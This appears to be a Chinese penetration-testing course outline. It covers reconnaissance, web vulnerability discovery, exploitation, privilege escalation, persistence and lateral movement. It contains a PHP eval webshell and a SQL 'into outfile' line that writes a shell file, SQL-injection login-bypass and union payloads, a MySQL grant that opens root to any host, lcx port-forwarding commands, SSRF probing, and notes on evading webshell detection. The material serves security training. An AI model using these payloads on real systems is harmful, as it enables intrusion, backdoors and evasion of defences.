大纲
###旨在解决渗透测试中遇到的各种疑难问题###
测试目标分类:
WEB,APP,PC,SERVER等
APP:
1.利用抓包分析APP数据包
2.利用反编译逆向APP分析
1.信息收集
\#端口
www.xiaodi8.com
www.xiaodi8.com:8080
真实:
http://xxxx.xxx.com.cn/portal/LoginBegin.aspx
http://xxxx.xxx.com.cn:8080/login.jsp
发现:
端口扫描获取 Nmap
\#目录
www.xiaodi8.com 门户 phpcms
www.xiaodi8.com/bbs/ 论坛 discuz
www.xiaodi8.com/old/ 旧版 phpwind
发现:
1.爬行
2.扫描
\#IP
\#子域名
1.同服务器
2.同网段服务器
课程视频可参考实战全套篇-必看里面
收集:备案信息,网站脚本,数据库,操作系统等
https://blog.csdn.net/qq\_41453285/article/details/94888750
\#cms程序
开源的网站源码程序,如dedecms,discuz,phpcms,WordPress等
\*部分网站也会采用不开源或内部源码搭建
1.开源
源码可以下载到,直接进行代码审计(漏洞挖掘)
利用网上公开的漏洞进行测试验证
2.内部
黑盒测试,只能扫漏洞,测试漏洞
cms识别技术 指纹识别
平台识别 bugscaner 云悉
工具识别 whatweb 御剑指纹识别
\#中间件
实验:nginx解析漏洞利用
1.通过访问网站发现中间件为nginx
2.通过网站自带的上传功能上传图片
3.利用解析漏洞访问形式去触发图片后门代码
\*通过判断网站使用的中间件,尝试中间件漏洞的验证和利用
\#第三方
如何获取第三方软件是否存在?
一般采用端口扫描探针
演示1:HFS第三方软件服务漏洞利用
1.通过端口扫描探针到目标存在8080端口
2.访问获取是第三方软件HFS调用
3.利用公开的HFS漏洞进行验证利用
演示2:phpmyadmin文件包含漏洞利用
1.通过web扫描探针到网站存在phpmyadmin
2.通过phpmyadmin公开漏洞进行验证利用
拓展玩法:
利用phpmyadmin特性,执行sql命令时会将执行的代码写入到session中,
再利用包含漏洞包含该session文件(session文件以cookie中的值命名)
代码:后门代码 select '\<?php eval($\_POST[x]);?\>'
2.漏洞发现
\#漏洞问题
1.登录类网站扫描
带入登录扫描
带入cookie扫描
2.开源CMS网站程序
3.其他漏洞测试
\#WEB漏洞
漏洞分类:sql注入,xss跨站,文件上传,代码执行,文件包含等
漏洞影响:漏洞能干嘛?能实现什么目的?
漏洞扫描:AWVS,Appscan,Netsparker等
1.漏洞扫描发现注入漏洞
2.利用sqlmap进行注入测试
\#系统漏洞
漏洞扫描:nessus,openvas
大部分结合MSF
\#漏洞具体发现形式
黑盒测试:扫描,探针,搜索等
sql注入
文件上传
XSS跨站
代码执行
逻辑越权
、、、、
漏洞扫描 专业扫描工具去判定(sql注入,xss跨站等)
漏洞探针 人为寻找漏洞去测试(第三方软件或中间件等)
案例:业务逻辑
1.订单金额修改
2.短信接口枚举
3.任意信息查看
。。。。。。。
原因:
可能需要登录状态操作
可能需要变换参数测试
www.xiaodi8.com/member.php?id=1 对应用户xiaodi
www.xiaodi8.com/member.php?id=2 对应用户xxiao
白盒测试:代码审计
\#有些漏洞是可以通过扫描工具去发现的,部分漏洞是必须要人为去测试发现的。
漏洞分类:
sql注入,文件上传,xss跨站,代码执行,命令执行,逻辑越权,目录遍历等
可以用扫描工具获取到
dedecms某处注入,phpcms某处上传,discuz某处代码执行,thinkphp5代码执行等
无法扫描工具获取到 需要特定的漏洞插件或专用工具探针 也可以使用公开文档资料判定
\#关于漏洞扫描需要采用两种扫描:1.awvs扫描 2.cms插件扫描
3.漏洞利用
漏洞产生:
可控变量 函数
什么函数将导致什么漏洞
$\_GET $\_POST $\_COOKIE $\_REQUEST $\_FILES $\_SERVER
漏洞的影响
1.用于实战 强调权限
2.用于挖掘 强调漏洞
3.用于加固 强调漏洞
sql注入
sqlmap havij pangolin 超级注入工具 啊D 明小子
数据库类型 Access mysql mssql oracle postsql db2 sybase等
文件上传
burpsuite fiddler fuzz上传字典(模糊测试)
fuzz应用案例:
测试WAF注入或上传绕过时,经常需要对特定关键字或格式进行变异进行绕过测试
xss跨站
xss平台 beef xsser
xss主要结合其他漏洞或方法进行攻击
代码执行
命令执行
文件包含
目录遍历
csrf攻击
业务逻辑
xml
ssrf
。。。。
加固:
1.引用安全软件
2.直接对应修复
漏洞利用问题:
1.安全软件拦截
2.漏洞自身问题
漏洞误报案例:
www.xiaodi8.com/news.php?id=1
4.权限提升
划分:
数据库权限
后台权限
web权限
服务器权限
比如某棋牌网站,得到操作控制数据(开奖数据)的目的?
1.数据库权限
2.web权限
3.服务器权限
4.后台权限
后台权限或数据库权限\<==\>网站权限==\>系统权限
系统漏洞或第三方软件漏洞==\>系统权限
\#获取网站权限
分类
原因:漏洞的情况
直接获取权限 文件上传 代码执行等
间接获取权限 sql注入 xss跨站等
后台获取权限相关解释
获取方法主要看后台的具体功能决定
1.sql执行
2.数据库备份
3.web模版修改
4.文件上传
5.其他
案例:
测试本地某网站后台web权限获取:
2.SQL执行
1.文件管理器
http://127.0.0.1/upload//api/addons/zendcheck.php
D:\\phpstudy\\PHPTutorial\\WWW\\upload\\api\\addons\\zendcheck53.php
http://127.0.0.1/010/dede/index.php
D:\\phpstudy\\PHPTutorial\\WWW\\010\\dede\\index.php
select '1' into outfile 'D:\\\\phpstudy\\\\PHPTutorial\\\\WWW\\\\010\\\\dede.php';
http://127.0.0.1/010/dede.php
技巧:
1.cms的话可以直接通过搜索xxxcms后台拿shell获取操作方法
2.不知道cms或内部程序的话需要通过具体的后台功能来逐个测试
\#获取系统权限
webshell提权
1.数据库提权
2.溢出漏洞提权
3.第三方软件提权
案例:通过web权限提升至服务器权限
利用系统溢出漏洞测试提升
1.通过磁盘权限获取上传cmd突破无法执行cmd
2.通过msf生成的反弹exe进行执行反弹
3.接受反弹会话进行exp筛选后执行
案例:通过web权限提升至服务器权限
利用网站数据库进行提升
条件:数据库最高用户的密码
1.通过探针获取服务器上数据库类型mysql
2.通过查看网站数据库配置文件或数据库目录文件获取root密码
3.通过mysql——udf进行权限提升
网站数据库配置文件:命名规则(sql,data,inc,conn,config,database等)
数据库目录文件:安装目录下的/data/mysql/user.myd
GRANT ALL PRIVILEGES ON \*.\* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
windows
guest users administrators system
linux
users root
权限维持
其他权限
网站权限
服务器权限
案例:后台权限维持
利用xss跨站脚本进行权限维持
案例:网站权限
后门文件的隐藏变异
后门查杀
https://www.uedbox.com/post/51754/
查杀原理:分析文件中的代码进行划分
后门代码存在相关关键字高危函数
后门免杀
https://xz.aliyun.com/t/5152
PHP后门代码:\<?php eval($\_POST['x']);?\>
1.免杀
函数替换
函数字符串猜分组合
自定义函数
回调函数
编码绕过
实例:
写一个属于自己的免杀后门
思考:针对其他后门进行免杀处理
1.重新解密分析 一一修改
2.重写规则加密编码
2.隐藏
5.横向渗透
\#内网渗透
主机发现
存活主机
计算机名,MAC地址,IP地址
扫描主机
端口,系统,漏洞,密码等
攻击主机
取得权限
域渗透 工作组
POWERSHELL
192.168.1.100
192.168.1.0-192.168.1.255
255.255.255.0
端口
案例:135端口渗透测试
协议
案例:ARP欺骗
案例:会话劫持
案例:DNS劫持
口令
getpass minikatz
可以获取windows操作系统的明文密码
内网分为数据库服务器,web服务器,其他的服务器等
会话劫持 COOKIE欺骗 区别
session cookie 用户身份凭据
session存储服务端 存活短
cookie存储客户端 存活长
总结:
http https
cookie session
netfuke cain ettercap arpspoof cobaltstrike
UAC
端口转发
让内网主动将数据给到外网
A可以连接B B不能连接A
A充当内网地址 B充当外网地址
A 192.168.38.130
lcx.exe -slave 192.168.0.106 3333 127.0.0.1 3389
将本地的3389端口转发至192.168.0.106上的3333端口
B 192.168.0.106
lcx.exe -listen 3333 1111
监听本地3333端口并转发至1111
然后连接本地的1111即可
实战意义:
解决数据连接问题
绕过防火墙策略
关于文件上传下载的问题:
linux:wget curl
windows powershell(win高版本) ftp脚本(win低版本)
案例:
SSRF
https://www.jianshu.com/p/6bf7700139fa
https://www.zhangshengrong.com/p/281oQGrNwz/
环境:
A主机: 192.168.38.129
B主机: 27.19.126.82 192.168.0.101
C主机: 192.168.0.106
A能连接B
B能连接C
A不能连接C
攻击者A访问:http://192.168.0.101/ssrf/index.php?url=192.168.0.106:80
通过B主机的ssrf漏洞去探针C主机的80端口
真实环境:
网站服务器ip 202.104.15.185
存在www.xiaodi8.com网站
同时存在内网IP 192.168.0.105
同网段服务器ip 192.168.0.1 - 192.168.0.255
攻击者可以通过访问www.xiaodi8.com 利用此网站的ssrf漏洞
去探针192.168.0.1 - 192.168.0.255 上的情况并进行漏洞利用
\#安全加固,自定义
\#安全开发,自定义
\#赛制练习,自定义
\#其他补充,自定义
附:详细见论坛靶场
sqlilabs
uploadlabs
xxelab
xssdemo
ssrflab
pikachu
vulhub
xssdemo
===================================================
漏洞发现
https://xz.aliyun.com/t/6282
登陆页面渗透测试常见的几种思路与总结
00x1 sql注入
\#万能密码绕过原理
原理:网站后台登录时,会对帐号密码进去判断,返回正确即登录成功,反之失败!利用sql语句中的逻辑运算符(and or xor对应的 且 或 非)进行组合得到返回结果
and 且
or 或
xor 非
例子:
真 且 真 = 真
真 且 假 = 假
真 或 真 = 真
真 或 假 = 真
常见的后台登录的sql语句
SELECT \* FROM admin WHERE username = '$username' and password ='md5($password)';
'or 1=1--
SELECT \* FROM admin WHERE username = '' or 1=1--' and password ='md5($password)';
SELECT \* FROM admin WHERE username = '' 假
1=1 真
假 或 真 = 真
\#sql注入 post注入
SELECT \* FROM admin WHERE username = '$username' and password ='md5($password)';
admin' union select 1,2,3,4... --
SELECT \* FROM admin WHERE username = 'admin' union select 1,2,3,4... --' and password ='md5($password)';
漏洞发现关注应用:
新闻列表
登录地址
用户中心
后台管理
第三方插件
案例:某微盘交易漏洞测试
1.自带框架漏洞1
2.自带框架漏洞2
3.注册未过滤XSS
4.注册逻辑越权
1.如何判定网站框架或CMS
2.了解常见的框架或cms的漏洞
3.XSS漏洞攻击的理解
4.逻辑越权理解 攻击理解
关注是否存在APP
关注是否存在服务端口
关注是否存在旁注站点
关注是否存在敏感文件
关注是否存在系统安全
关注是否存在口令安全
.............
漏洞利用
某drupal漏洞测试
http://www.babakimaz.com
CMS识别 利用CMS漏洞进行测试(查找漏洞,漏洞利用类型)
国内CMS漏洞查找:百度搜索 seebug等漏洞平台
国外CMS漏洞查找:国外漏洞平台
常规测试:
漏洞扫描
目录扫描
.......
基于CMS利用测试 zoomeye
www.exploit-db.com
cn.0day.today
http://down.chinaz.com/soft/36930.htm
代码审计
白盒测试
1.搭建成功后 利用WEB漏洞扫描工具探针
2.利用网站的源码进行代码审计挖掘漏洞
准备工作:
漏洞产生:函数 可控变量
例:sql注入
函数关键字:mysql\_connect mysql\_select\_db mysql\_query等
可控变量关键字:$\_GET $\_POST $\_REQUEST $\_SERVER等
定点漏洞挖掘: